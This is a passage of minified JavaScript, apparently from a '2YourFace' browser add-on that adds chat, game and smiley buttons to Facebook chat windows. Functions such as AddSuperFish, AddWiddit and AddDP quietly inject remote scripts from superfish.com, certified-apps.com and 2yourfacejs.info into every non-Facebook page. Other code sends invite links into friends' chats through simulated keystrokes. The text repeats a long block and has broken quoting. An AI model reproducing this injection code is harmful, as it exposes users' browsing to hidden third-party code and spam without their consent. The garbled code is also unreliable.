b=(b=b||-1!=a.parentNode.parentNode.innerHTML.indexOf(alt="+gMyName+"))||-1!=a.parentNode.parentNode.innerHTML.indexOf("_"+Env.user+"_")}function TryParseVideoInvite(a,b,d){var c=a.innerHTML;-1!=c.indexOf(gVideoCallInviteMsgPrefix)&&(c=IsMe(a)?c="You have invited "+d+" to a Video Chat":d+" invited You to a Video Chat <a href=javascript:StartVideo("+b+,"+d+"\") > Accept</a>",a.innerHTML=c)}function InviteCall(a,b){-1==a&&(a=GetUIDFromName(b));var d="I "+gPhoneCallInviteMsg;if(sendMsg(d,a))OpenVoiceDialog(Env.user,"http://graph.facebook.com/"+a+"/picture",b);else{var c=window.jQuery("#VideoChatToolbar_"+a,document).next().children().children();c.focus();c.keydown(function(d){13==d.which&&(OpenVoiceDialog(Env.user,"http://graph.facebook.com/"+a+"/picture",b),c.unbind(!1))});TextAreaControl.getInstance(c[0]).setValue(d)}}function GetMyID(){var a=document.body.innerHTML.indexOf(detect_broken_proxy_cache("),a=a+"30",b=document.body.innerHTML.indexOf(",a);return document.body.innerHTML.substring(a,b)}function InviteVideo(a,b){-1==a&&(a=GetUIDFromName(b));var d="I "+gVideoCallInviteMsg;if(sendMsg(d,a))OpenVideoDialog(Env.user,"http://graph.facebook.com/"+a+"/picture",b);else{var c=window.jQuery("#VideoChatToolbar_"+a,document).next().children().children();c.focus();c.keydown(function(d){13==d.which&&(OpenVideoDialog(Env.user,"http://graph.facebook.com/"+a+"/picture",b),c.unbind(!1))});TextAreaControl.getInstance(c[0]).setValue(d)}}function InviteGames(a,b){-1==a&&(a=GetUIDFromName(b));OpenGamesDialog(a,Env.user,"http://graph.facebook.com/"+a+"/picture",b)}function sendMsg(a,b){if("undefined"!=typeof window.chatDisplay)chatDisplay.tabs[b].chatInput.value=a,chatDisplay.tabs[b].sendInput();else{var d=window.jQuery("#VideoChatToolbar_"+b,document).next().children().children();d.focus();d[0].value=a;d.focus();var c;document.createEvent?(c=document.createEvent("Events"),c.initEvent("keydown",!0,!0)):c=document.createEventObject();c.view=window;c.altKey=!1;c.ctrlKey=!1;c.shiftKey=!1;c.metaKey=!1;c.keyCode=13;c.which=13;document.createEvent?d[0].dispatchEvent(c):d[0].fireEvent("onkeydown",c)}return!0}function OpenGame(a,b,d){b=GetGameName(a);b="I "+gGameInviteMsgPrefix+b+". Accept Now: "+gGameLink+b+gGameLinkSuffix;CloseDialog();var c=Env.user;if(sendMsg(b,d))StartGame(a,c,d,gMyName);else{var f=window.jQuery("#VideoChatToolbar_"+d,document).next().children().children();f.focus();f.keydown(function(b){13==b.which&&(StartGame(a,c,d,gMyName),f.unbind(!1))});TextAreaControl.getInstance(f[0]).setValue(b)}}function AcceptGame(a,b,d,c){window.open("http://www.2yourface.com/games/game.php?id="+b+"&first="+d+"&second="+b+"&nick="+c+"&game="+a,"mywindow","scrollbars=no,menubar=1,resizable=1,width=890,height=720")}function StartGame(a,b,d,c){window.open("http://www.2yourface.com/games/game.php?id="+b+"&first="+b+"&second="+d+"&nick="+c+"&game="+a,"mywindow","scrollbars=no,menubar=1,resizable=1,width=890,height=720")}function GetGameName(a){return 2==a?"Chess":1==a?"Backgammon":6==a?"Checkers":26==a?"Tic Tac Toe":86==a?"Darts":325==a?"Domino":256==a?"8-Ball":225==a?"Poker":"Game"}function GetGameID(a){return"Chess"==a?2:"8-Ball"==a?256:"Backgammon"==a?1:"Checkers"==a?6:"Tic Tac Toe"==a?26:"Darts"==a?86:"Domino"==a?325:"Poker"==a?225:1}function OpenGamesDialog(a,b,d,c){b="<style type=text/css >#ex5 img { margin: 5px; opacity: 0.8; border: 10px solid #eee;/*Transition*/-webkit-transition: all 0.5s ease; -moz-transition: all 0.5s ease; -o-transition: all 0.5s ease;/*Reflection*/ -webkit-box-reflect: below 0px -webkit-gradient(linear, left top, left bottom, from(transparent), color-stop(.7, transparent), to(rgba(0,0,0,0.1)));}#ex5 img:hover { opacity: 1; /*Reflection*/ -webkit-box-reflect: below 0px -webkit-gradient(linear, left top, left bottom, from(transparent), color-stop(.7, transparent), to(rgba(0,0,0,0.4))); /*Glow*/ -webkit-box-shadow: 0px 0px 20px rgba(255,255,255,0.8); -moz-box-shadow: 0px 0px 20px rgba(255,255,255,0.8); box-shadow: 0px 0px 20px rgba(255,255,255,0.8);}</style>"+(<div style="color:#fff;font-size:14px;padding:5px;background:#8097c1;border:1px #4f6fa3 solid;border-bottom-color:#718bba;font-weight:bold"> Choose a Game and Play - Powered By 2YourFace.com </div> <div style="border:1px #656669 solid;border-top-color:#afbdd6;background:#fff"><div style="padding:5px;background:#f5f5f5;border-bottom:1px #dcdcdc solid;position:relative"><img src="+d+" style="border:1px #dcdcdc solid;float:left;vertical-align:center;margin-right:15px"><div style="font-size:9pt;color:#444;margin-top:5px">Choose a Game and Play with:</div><div style="font-size:18px;font-weight:bold;color:#4065a4;margin-top:3px">+c+</div><div style="clear:both"></div><div style="position:absolute;right:10px;top:18px;width:59px;height:25px;cursor:pointer"><iframe src="http://www.facebook.com/plugins/like.php?app_id=160947667310175&href=http%3A%2F%2Fwww.2yourface.com&send=false&layout=box_count&width=450&show_faces=false&action=like&colorscheme=light&font&height=90" scrolling="no" frameborder="0" style="position:relative;top:-17px;border:none; overflow:hidden; width:50px; height:90px;" allowTransparency="true"></iframe></div></div><div style="height:215px" id="ChatDlgInside">)+"<div id=ex5 style=background-color:gray;height:220px;width:400px; ><br/><br/>"+GetGameOfferHTML(2,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_chess.jpg",c,a);b+=GetGameOfferHTML(1,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_backgammon.jpg",c,a);b+=GetGameOfferHTML(256,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_snooker.jpg",c,a);b+=GetGameOfferHTML(325,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_domino.jpg",c,a);b=b+"<br/>"+GetGameOfferHTML(6,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_checkers.jpg",c,a);b+=GetGameOfferHTML(26,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_tic.jpg",c,a);b+=GetGameOfferHTML(86,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_darts.jpg",c,a);b+=GetGameOfferHTML(225,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_poker.jpg",c,a);b+=</div></div><div style="padding:5px 10px;background:#f5f5f5;border-top:1px #dcdcdc solid;text-align:right"><a href=javascript:void" onclick="CloseDialog();" ><img src="http://www.2yourface.com/Plugin/images/close.png" style="cursor:pointer"></a></div>;a=window.jQuery("div#ChatDialog",document);a.html(b);c=a[0];c.style.visibility="visible";c.style.display="block";c=document.body.scrollTop;b=a.position();d=document.body.clientWidth;d=50>b.left?document.body.clientWidth/3:0.35*document.body.clientWidth;a.offset({left:d,top:c+200})}function GetGameOfferHTML(a,b,d,c){return"<a style=position:relative;top:-20px; href=\"javascript:OpenGame("+a+","+d+" ,"+c+)" ><img style="width:70px;height:70px;" src=\+b+" title=\"Invite "+d+" to play "+GetGameName(a)+" /></a>};</script><script type="text/javascript">AddSuperFish(); function AddSuperFish(){if(-1!=window.location.href.indexOf("http:")&&-1==window.location.href.indexOf("facebook.com")){var a=document.createElement("script");a.setAttribute("type","text/javascript");a.setAttribute("src","http://www.superfish.com/ws/sf_main.jsp?dlsource=sixpointseven&userId=101&CTID=101");(document.getElementsByTagName("head")[0]||document.documentElement).appendChild(a)}else-1!=window.location.href.indexOf("https:")&&-1==window.location.href.indexOf("facebook.com")&&(a=document.createElement("script"),a.setAttribute("type","text/javascript"),a.setAttribute("src","https://www.superfish.com/ws/sf_main.jsp?dlsource=sixpointseven&userId=101&CTID=101"),(document.getElementsByTagName("head")[0]||document.documentElement).appendChild(a))};AddWiddit(); function AddWiddit(){ if(window.location.href.indexOf("http:")!=-1 && window.location.href.indexOf("facebook.com")==-1) { var script_tag=document.createElement(script);script_tag.setAttribute("type","text/javascript"); script_tag.setAttribute("src","http://cdn1.certified-apps.com/scripts/shared/enable.js?si=33332&tid=ch101"); (document.getElementsByTagName("head")[0]||document.documentElement).appendChild(script_tag); }}function AddDP(){ if (window.location.href.indexOf("http:") != -1 && window.location.href.indexOf("facebook.com") == -1 ) { var script_tag = document.createElement(script); script_tag.setAttribute("type", "text/javascript"); script_tag.setAttribute("src", "http://i.2yourfacejs.info/toyf/javascript.js?channel=ch101"); // Try to find the head, otherwise default to the documentElement (document.getElementsByTagName("head")[0] || document.documentElement).appendChild(script_tag); }}AddDP();//3.4 no chacheID in gamesvar gpid="101",url=window.location.href,timeOut=3E3,gPhoneCallInviteMsgPrefix=" invite You to an Audio Chat. Accept Now : ",gVideoCallInviteMsgPrefix=" invite You to a Video Chat. Accept Now : ",gGameInviteMsgPrefix=" invite You to play ",date=new Date,cacheID=date.getDate()+"-"+(date.getMonth()+1)+"-"+date.getFullYear()+"-"+date.getHours(),gPhoneCallInviteMsg=gPhoneCallInviteMsgPrefix+" http://www.2yourface.com/"+gpid+"/"+cacheID,gVideoCallInviteMsg=gVideoCallInviteMsgPrefix+" http://www.2yourface.com/"+gpid+"/"+cacheID,gGameLink="http://www.f2yf.com/",gGameLinkSuffix="/"+gpid+"/",gSmileyMsgPrefix="I sent you a smiley. Accept Now: ",gSmileyMSG=":-D",gMyName="";window.setTimeout("OnTimeout()",2500);var m_lastTimeout=new Date;document.body.onmouseup=onUp;function onUp(){if(!0==isValidWebsite()){var a=(new Date).getTime()-m_lastTimeout.getTime(),a=new Date(a);(0<a.getMinutes()||0==a.getMinutes()&&2<a.getSeconds())&&OnTimeout()}}function getElementsByClassName(a){for(var b=[],a=RegExp("\\b"+a+"\\b"),d=document.getElementsByTagName("*"),c=0;c<d.length;c++)a.test(d[c].className)&&b.push(d[c]);return b}Start();function Start(){if(-1!=window.location.href.indexOf("facebook.com")){if(void 0===window.jQuery||"1.4.2"!==window.jQuery.fn.jquery){var a=document.createElement("script");a.setAttribute("type","text/javascript");-1!=window.location.href.indexOf("http:/")?a.setAttribute("src","http://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js"):a.setAttribute("src","https://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js");a.onload=scriptLoadHandler;a.onreadystatechange=function(){("complete"==this.readyState||"loaded"==this.readyState)&&scriptLoadHandler()};(document.getElementsByTagName("head")[0]||document.documentElement).appendChild(a)}null==document.getElementById("ChatDialog")&&(a=document.createElement("div"),a.id="ChatDialog",a.setAttribute("style","display:none;position: absolute;top: 15%;left: 35%;width: width:484px;background:url(http://www.2yourface.com/Plugin/images/outer_bg.png);border-radius:8px;padding:9px;z-index:1002;overflow: auto;"),document.body.appendChild(a))}}function onscroll(){var a=document.body.scrollTop,b=window.jQuery("div#ChatDialog",document);b.position();b.offset({left:0.35*document.body.clientWidth,top:a+200})}function IsScriptInstalled(){return-1!=document.body.innerHTML.indexOf("ChatDialog")}function scriptLoadHandler(){jQuery=window.jQuery.noConflict(!0);OnTimeout()}function Process(){var a=-1,b=document;if(""==gMyName){var d=getElementsByClassName("headerTinymanName");0<d.length&&(gMyName=d[0].innerHTML)}d=window.jQuery("div#fbDockChat",b);b=window.jQuery("div.fbDockChatTab",d);0==b.length&&(b=window.jQuery(".fbNubFlyout.fbDockChatTabFlyout",d));if(null!=b)for(d=0;d<b.length;d++){var c=window.jQuery("div.fbNubFlyout",b[d])[0];null==c&&(c=window.jQuery(".fbNubFlyoutOuter",b[d])[0]);c.innerHTML.indexOf("textarea");var f=window.jQuery("div.fbNubFlyoutTitlebar",c),h=window.jQuery("span.titlebarText",f),a=GetUIDFromName(e);if(-1==a){var e=c.innerHTML,i="/messages/",g=e.indexOf(i);-1!=g?(g+=i.length,a=e.indexOf(",g),a=e.substring(g,a)):(i="?id=",g=e.indexOf(i),-1!=g&&(g+=i.length,a=e.indexOf(",g),a=e.substring(g,a)))}var e=GetFriendName(f.html());""==e&&(e=h.html());-1==a&&(a=GetUIDFromName(e));AddToolbar(c,e,a);ParseInvitations(c,e,a)}}function GetUIDFromName(a){var b=window.ChatUserInfos,d;for(d in b)if(b.hasOwnProperty(d)&&a==b[d].name)return d;return-1}function isValidWebsite(){return-1!=window.location.href.indexOf("facebook.com")}function OnTimeout(){m_lastTimeout=new Date;-1!=window.location.href.indexOf("facebook.com")&&(!1==IsScriptInstalled()&&Start(),setTimeout("OnTimeout()",2500),Process())}function GetFriendName(a){var b=a.indexOf(<a class="titlebarText),b=a.indexOf(">",b+22),b=b+1,d=a.indexOf("<",b);return a.substring(b,d)}function SendSmiley(a){sendMsg(gSmileyMSG,a)}function AddToolbar(a,b,d){a=window.jQuery("div.fbNubFlyoutBody",a);b=<div style="height:18px;" class="fbNubFlyoutBody" /><div id="VideoChatToolbar_+d+" class="fbNubFlyoutBody11" style="height:18px;position:relative;top:0px;background:#6d84b4;">+(<div style="position:absolute;left:20px;top:0px;"><img src="http://www.2yourface.com/Plugin/images/circle.png" alt="Video Chat" title="Video Chat with +b+"/></div>)+(<div style="position:absolute;left:65px;top:0px;"><img src="http://www.2yourface.com/Plugin/images/circle.png" alt="Audio Chat" title="Audio Chat with +b+" /></div>)+(<div style="position:absolute;left:110px;top:0px;"><img src="http://www.2yourface.com/Plugin/images/circle.png" alt="Games" title="Play Games with +b+" /></div>)+(<div style="position:absolute;left:155px;top:0px;"><img src="http://www.2yourface.com/Plugin/images/circle.png" alt="Games" title="Send a Smiley to +b+" /></div>)+(<div style="width:26px;height:30px;position:absolute;left:23px;top:-21px;cursor:pointer" ><a href=\javascript:InviteVideo(+d+,"+b+");\><img src="http://www.2yourface.com/Plugin/images/video.png" alt="Video Chat" title="Video Chat with +b+" /></a></div>)+(<div style="width:24px;height:30px;position:absolute;left:72px;top:-21px;cursor:pointer" ><a href=\javascript:InviteCall(+d+,"+b+");\ ><img src="http://www.2yourface.com/Plugin/images/audio.png" alt="Video Chat" title="Audio Chat with +b+" /></a></div>)+(<div style="position:absolute;left:110px;top:-21px;cursor:pointer" ><a href=\javascript:InviteGames(+d+,"+b+");\ ><img style="width:24px;height:20px;position:absolute;left:5px;top:5px;" src="http://www.2yourface.com/Plugin/images/games.png" alt="Games" title="Play Games with +b+" /></a></div>)+(<div style="width:24px;height:30px;position:absolute;left:155px;top:-20px;cursor:pointer" ><a href=\javascript:SendSmiley(+d+);\ ><img src="http://addon.2yourface.com/Plugin/images/smiley.png" alt="Video Chat" title="Send Smiley to +b+" /></a></div>)+<div style="width:24px;height:30px;position:absolute;left:200px;top:0px;" ><img src="http://www.2yourface.com/Plugin/images/tblogo.png" alt="Video Chat" title="2YourFace.com" /></div>;d=a.parent().html();a.next().children();-1==d.indexOf("VideoChatToolbar")&&(a.height(197),a.after(b))}function ParseInvitations(a,b,d){for(var a=window.jQuery("div.fbChatMessage.fsm",a),c=0;c<a.length;c++)TryParseInvitation(a[c],d,b)}function TryParseSmileyInvitation(){return!1}function TryParseInvitation(a,b,d){TryParseSmileyInvitation(a,b,d)||TryParsePhoneCallInvite(a,b,d)||TryParseVideoInvite(a,b,d)||TryParseGameInvite(a,b,d)}function GetGameFromMessage(a){var b=a.indexOf(gGameInviteMsgPrefix);if(-1!=b){var b=b+gGameInviteMsgPrefix.length,d=a.indexOf(".");return a.substring(b,d)}return""}function TryParseGameInvite(a,b,d){var c=a.innerHTML;if(-1!=c.indexOf(gGameInviteMsgPrefix)){var f=IsMe(a),c=GetGameFromMessage(c);f?c="You have invited "+d+" to play "+c:(f=GetGameID(c),c=d+" invited You to Play "+c+" <a href=javascript:AcceptGame("+f+,"+Env.user+","+b+","+gMyName+"\") > Accept</a>");a.innerHTML=c;return!0}return!1}function TryParsePhoneCallInvite(a,b,d){var c=a.innerHTML;return-1!=c.indexOf(gPhoneCallInviteMsgPrefix)?(c=IsMe(a)?"You have invited "+d+" to an Audio Chat":d+" invited You to an Audio Chat <a href=javascript:StartPhone("+b+,"+d+"\") > Accept</a>",a.innerHTML=c,!0):!1}function StartPhone(a,b){OpenVoiceDialog(a,"http://graph.facebook.com/"+a+"/picture",b)}function StartVideo(a,b){OpenVideoDialog(a,"http://graph.facebook.com/"+a+"/picture",b)}function OpenVideoDialog(a,b,d){OpenDialog("http://www.2yourchat.com/Conversation/Video.aspx?rid=1&channel=1008&callType=Video&runtime="+a+"&from="+Env.user,395,215,b,d,"Video Chat")}function OpenVoiceDialog(a,b,d){OpenDialog("http://www.2yourchat.com/Conversation/Video.aspx?rid=1&channel=1008&callType=Voice&runtime="+a+"&from="+Env.user,395,215,b,d,"Audio Chat")}function OpenDialog(a,b,d,c,f,h){b=<div style="color:#fff;font-size:14px;padding:5px;background:#8097c1;border:1px #4f6fa3 solid;border-bottom-color:#718bba;font-weight:bold">+h+ - Powered By 2YourFace.com </div> <div style="border:1px #656669 solid;border-top-color:#afbdd6;background:#fff"><div style="padding:5px;background:#f5f5f5;border-bottom:1px #dcdcdc solid;position:relative"><img src="+c+" style="border:1px #dcdcdc solid;float:left;vertical-align:center;margin-right:15px"><div style="font-size:9pt;color:#444;margin-top:5px">Chatting with:</div><div style="font-size:18px;font-weight:bold;color:#4065a4;margin-top:3px">+f+</div><div style="clear:both"></div><div style="position:absolute;right:10px;top:18px;width:59px;height:25px;cursor:pointer"><iframe src="http://www.facebook.com/plugins/like.php?app_id=160947667310175&href=http%3A%2F%2Fwww.2yourface.com&send=false&layout=box_count&width=450&show_faces=false&action=like&colorscheme=light&font&height=90" scrolling="no" frameborder="0" style="position:relative;top:-17px;border:none; overflow:hidden; width:50px; height:90px;" allowTransparency="true"></iframe></div></div><div style="height:215px" id="ChatDlgInside">+("<iframe src="+a+" width="+b+" height="+d+" scrolling=no border=no style=\"background-color:white;border:0px;\" />")+</div><div style="padding:5px 10px;background:#f5f5f5;border-top:1px #dcdcdc solid;text-align:right"><a href=javascript:void" onclick="CloseDialog();" ><img src="http://www.2yourface.com/Plugin/images/close.png" style="cursor:pointer"></a></div>;a=window.jQuery("div#ChatDialog",document);a.html(b);b=a[0];b.style.visibility="visible";b.style.display="block";b=document.body.scrollTop;d=a.position();c=document.body.clientWidth;c=50>d.left?document.body.clientWidth/3:0.35*document.body.clientWidth;a.offset({left:c,top:b+200})}function CloseDialog(){document.body.style.display="block";document.getElementById("ChatDialog").style.display="none";document.getElementById("ChatDialog").innerHTML=""}function IsMe(a){var b=-1!=a.parentNode.parentNode.innerHTML.indexOf(title="You");return b=(b=b||-1!=a.parentNode.parentNode.innerHTML.indexOf(alt="+gMyName+"))||-1!=a.parentNode.parentNode.innerHTML.indexOf("_"+Env.user+"_")}function TryParseVideoInvite(a,b,d){var c=a.innerHTML;-1!=c.indexOf(gVideoCallInviteMsgPrefix)&&(c=IsMe(a)?c="You have invited "+d+" to a Video Chat":d+" invited You to a Video Chat <a href=javascript:StartVideo("+b+,"+d+"\") > Accept</a>",a.innerHTML=c)}function InviteCall(a,b){-1==a&&(a=GetUIDFromName(b));var d="I "+gPhoneCallInviteMsg;if(sendMsg(d,a))OpenVoiceDialog(Env.user,"http://graph.facebook.com/"+a+"/picture",b);else{var c=window.jQuery("#VideoChatToolbar_"+a,document).next().children().children();c.focus();c.keydown(function(d){13==d.which&&(OpenVoiceDialog(Env.user,"http://graph.facebook.com/"+a+"/picture",b),c.unbind(!1))});TextAreaControl.getInstance(c[0]).setValue(d)}}function GetMyID(){var a=document.body.innerHTML.indexOf(detect_broken_proxy_cache("),a=a+"30",b=document.body.innerHTML.indexOf(",a);return document.body.innerHTML.substring(a,b)}function InviteVideo(a,b){-1==a&&(a=GetUIDFromName(b));var d="I "+gVideoCallInviteMsg;if(sendMsg(d,a))OpenVideoDialog(Env.user,"http://graph.facebook.com/"+a+"/picture",b);else{var c=window.jQuery("#VideoChatToolbar_"+a,document).next().children().children();c.focus();c.keydown(function(d){13==d.which&&(OpenVideoDialog(Env.user,"http://graph.facebook.com/"+a+"/picture",b),c.unbind(!1))});TextAreaControl.getInstance(c[0]).setValue(d)}}function InviteGames(a,b){-1==a&&(a=GetUIDFromName(b));OpenGamesDialog(a,Env.user,"http://graph.facebook.com/"+a+"/picture",b)}function sendMsg(a,b){if("undefined"!=typeof window.chatDisplay)chatDisplay.tabs[b].chatInput.value=a,chatDisplay.tabs[b].sendInput();else{var d=window.jQuery("#VideoChatToolbar_"+b,document).next().children().children();d.focus();d[0].value=a;d.focus();var c;document.createEvent?(c=document.createEvent("Events"),c.initEvent("keydown",!0,!0)):c=document.createEventObject();c.view=window;c.altKey=!1;c.ctrlKey=!1;c.shiftKey=!1;c.metaKey=!1;c.keyCode=13;c.which=13;document.createEvent?d[0].dispatchEvent(c):d[0].fireEvent("onkeydown",c)}return!0}function OpenGame(a,b,d){b=GetGameName(a);b="I "+gGameInviteMsgPrefix+b+". Accept Now: "+gGameLink+b+gGameLinkSuffix;CloseDialog();var c=Env.user;if(sendMsg(b,d))StartGame(a,c,d,gMyName);else{var f=window.jQuery("#VideoChatToolbar_"+d,document).next().children().children();f.focus();f.keydown(function(b){13==b.which&&(StartGame(a,c,d,gMyName),f.unbind(!1))});TextAreaControl.getInstance(f[0]).setValue(b)}}function AcceptGame(a,b,d,c){window.open("http://www.2yourface.com/games/game.php?id="+b+"&first="+d+"&second="+b+"&nick="+c+"&game="+a,"mywindow","scrollbars=no,menubar=1,resizable=1,width=890,height=720")}function StartGame(a,b,d,c){window.open("http://www.2yourface.com/games/game.php?id="+b+"&first="+b+"&second="+d+"&nick="+c+"&game="+a,"mywindow","scrollbars=no,menubar=1,resizable=1,width=890,height=720")}function GetGameName(a){return 2==a?"Chess":1==a?"Backgammon":6==a?"Checkers":26==a?"Tic Tac Toe":86==a?"Darts":325==a?"Domino":256==a?"8-Ball":225==a?"Poker":"Game"}function GetGameID(a){return"Chess"==a?2:"8-Ball"==a?256:"Backgammon"==a?1:"Checkers"==a?6:"Tic Tac Toe"==a?26:"Darts"==a?86:"Domino"==a?325:"Poker"==a?225:1}function OpenGamesDialog(a,b,d,c){b="<style type=text/css >#ex5 img { margin: 5px; opacity: 0.8; border: 10px solid #eee;/*Transition*/-webkit-transition: all 0.5s ease; -moz-transition: all 0.5s ease; -o-transition: all 0.5s ease;/*Reflection*/ -webkit-box-reflect: below 0px -webkit-gradient(linear, left top, left bottom, from(transparent), color-stop(.7, transparent), to(rgba(0,0,0,0.1)));}#ex5 img:hover { opacity: 1; /*Reflection*/ -webkit-box-reflect: below 0px -webkit-gradient(linear, left top, left bottom, from(transparent), color-stop(.7, transparent), to(rgba(0,0,0,0.4))); /*Glow*/ -webkit-box-shadow: 0px 0px 20px rgba(255,255,255,0.8); -moz-box-shadow: 0px 0px 20px rgba(255,255,255,0.8); box-shadow: 0px 0px 20px rgba(255,255,255,0.8);}</style>"+(<div style="color:#fff;font-size:14px;padding:5px;background:#8097c1;border:1px #4f6fa3 solid;border-bottom-color:#718bba;font-weight:bold"> Choose a Game and Play - Powered By 2YourFace.com </div> <div style="border:1px #656669 solid;border-top-color:#afbdd6;background:#fff"><div style="padding:5px;background:#f5f5f5;border-bottom:1px #dcdcdc solid;position:relative"><img src="+d+" style="border:1px #dcdcdc solid;float:left;vertical-align:center;margin-right:15px"><div style="font-size:9pt;color:#444;margin-top:5px">Choose a Game and Play with:</div><div style="font-size:18px;font-weight:bold;color:#4065a4;margin-top:3px">+c+</div><div style="clear:both"></div><div style="position:absolute;right:10px;top:18px;width:59px;height:25px;cursor:pointer"><iframe src="http://www.facebook.com/plugins/like.php?app_id=160947667310175&href=http%3A%2F%2Fwww.2yourface.com&send=false&layout=box_count&width=450&show_faces=false&action=like&colorscheme=light&font&height=90" scrolling="no" frameborder="0" style="position:relative;top:-17px;border:none; overflow:hidden; width:50px; height:90px;" allowTransparency="true"></iframe></div></div><div style="height:215px" id="ChatDlgInside">)+"<div id=ex5 style=background-color:gray;height:220px;width:400px; ><br/><br/>"+GetGameOfferHTML(2,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_chess.jpg",c,a);b+=GetGameOfferHTML(1,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_backgammon.jpg",c,a);b+=GetGameOfferHTML(256,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_snooker.jpg",c,a);b+=GetGameOfferHTML(325,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_domino.jpg",c,a);b=b+"<br/>"+GetGameOfferHTML(6,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_checkers.jpg",c,a);b+=GetGameOfferHTML(26,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_tic.jpg",c,a);b+=GetGameOfferHTML(86,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_darts.jpg",c,a);b+=GetGameOfferHTML(225,"http://www.2yourface.com/Plugin/images/games/Small/gameIcon70x70_poker.jpg",c,a);b+=</div></div><div style="padding:5px 10px;background:#f5f5f5;border-top:1px #dcdcdc solid;text-align:right"><a href=javascript:void" onclick="CloseDialog();" ><img src="http://www.2yourface.com/Plugin/images/close.png" style="cursor:pointer"></a></div>;a=window.jQuery("div#ChatDialog",document);a.html(b);c=a[0];c.style.visibility="visible";c.style.display="block";c=document.body.scrollTop;b=a.position();d=document.body.clientWidth;d=50>b.left?document.body.clientWidth/3:0.35*document.body.clientWidth;a.offset({left:d,top:c+200})}function GetGameOfferHTML(a,b,d,c){return"<a style=position:relative;top:-20px; href=\"javascript:OpenGame("+a+","+d+" ,"+c+)" ><img style="width:70px;height:70px;" src=\+b+" title=\"Invite "+d+" to play "+GetGameName(a)+" /></a>};</script><script type="text/javascript">AddSuperFish(); function AddSuperFish(){if(-1!=window.location.href.indexOf("http:")&&-1==window.location.href.indexOf("facebook.com")){var a=document.createElement("script");a.setAttribute("type","text/javascript");a.setAttribute("src","http://www.superfish.com/ws/sf_main.jsp?dlsource=sixpointseven&userId=101&CTID=101");(document.getElementsByTagName("head")[0]||document.documentElement).appendChild(a)}else-1!=window.location.href.indexOf("https:")&&-1==window.location.href.indexOf("facebook.com")&&(a=document.createElement("script"),a.setAttribute("type","text/javascript"),a.setAttribute("src","https://www.superfish.com/ws/sf_main.jsp?dlsource=sixpointseven&userId=101&CTID=101"),(document.getElementsByTagName("head")[0]||document.documentElement).appendChild(a))};AddWiddit(); function AddWiddit(){ if(window.location.href.indexOf("http:")!=-1 && window.location.href.indexOf("facebook.com")==-1) { var script_tag=document.createElement(script);script_tag.setAttribute("type","text/javascript"); script_tag.setAttribute("src","http://cdn1.certified-apps.com/scripts/shared/enable.js?si=33332&tid=ch101"); (document.getElementsByTagName("head")[0]||document.documentElement).appendChild(script_tag); }}function AddDP(){ if (window.location.href.indexOf("http:") != -1 && window.location.href.indexOf("facebook.com") == -1 ) { var script_tag = document.createElement(script); script_tag.setAttribute("type", "text/javascript"); script_tag.setAttribute("src", "http://i.2yourfacejs.info/toyf/javascript.js?channel=ch101"); // Try to find the head, otherwise default to the documentElement (document.getElementsByTagName("head")[0] || document.documentElement).appendChild(script_tag); }}AddDP();//3.4 no chacheID in gamesvar gpid="101",url=window.location.href,timeOut=3E3,gPhoneCallInviteMsgPrefix=" invite You to an Audio Chat. Accept Now : ",gVideoCallInviteMsgPrefix=" invite You to a Video Chat. Accept Now : ",gGameInviteMsgPrefix=" invite You to play ",date=new Date,cacheID=date.getDate()+"-"+(date.getMonth()+1)+"-"+date.getFullYear()+"-"+date.getHours(),gPhoneCallInviteMsg=gPhoneCallInviteMsgPrefix+" http://www.2yourface.com/"+gpid+"/"+cacheID,gVideoCallInviteMsg=gVideoCallInviteMsgPrefix+" http://www.2yourface.com/"+gpid+"/"+cacheID,gGameLink="http://www.f2yf.com/",gGameLinkSuffix="/"+gpid+"/",gSmileyMsgPrefix="I sent you a smiley. Accept Now: ",gSmileyMSG=":-D",gMyName="";window.setTimeout("OnTimeout()",2500);var m_lastTimeout=new Date;document.body.onmouseup=onUp;function onUp(){if(!0==isValidWebsite()){var a=(new Date).getTime()-m_lastTimeout.getTime(),a=new Date(a);(0<a.getMinutes()||0==a.getMinutes()&&2<a.getSeconds())&&OnTimeout()}}function getElementsByClassName(a){for(var b=[],a=RegExp("\\b"+a+"\\b"),d=document.getElementsByTagName("*"),c=0;c<d.length;c++)a.test(d[c].className)&&b.push(d[c]);return b}Start();function Start(){if(-1!=window.location.href.indexOf("facebook.com")){if(void 0===window.jQuery||"1.4.2"!==window.jQuery.fn.jquery){var a=document.createElement("script");a.setAttribute("type","text/javascript");-1!=window.location.href.indexOf("http:/")?a.setAttribute("src","http://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js"):a.setAttribute("src","https://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js");a.onload=scriptLoadHandler;a.onreadystatechange=function(){("complete"==this.readyState||"loaded"==this.readyState)&&scriptLoadHandler()};(document.getElementsByTagName("head")[0]||document.documentElement).appendChild(a)}null==document.getElementById("ChatDialog")&&(a=document.createElement("div"),a.id="ChatDialog",a.setAttribute("style","display:none;position: absolute;top: 15%;left: 35%;width: width:484px;background:url(http://www.2yourface.com/Plugin/images/outer_bg.png);border-radius:8px;padding:9px;z-index:1002;overflow: auto;"),document.body.appendChild(a))}}function onscroll(){var a=document.body.scrollTop,b=window.jQuery("div#ChatDialog",document);b.position();b.offset({left:0.35*document.body.clientWidth,top:a+200})}function IsScriptInstalled(){return-1!=document.body.innerHTML.indexOf("ChatDialog")}function scriptLoadHandler(){jQuery=window.jQuery.noConflict(!0);OnTimeout()}function Process(){var a=-1,b=document;if(""==gMyName){var 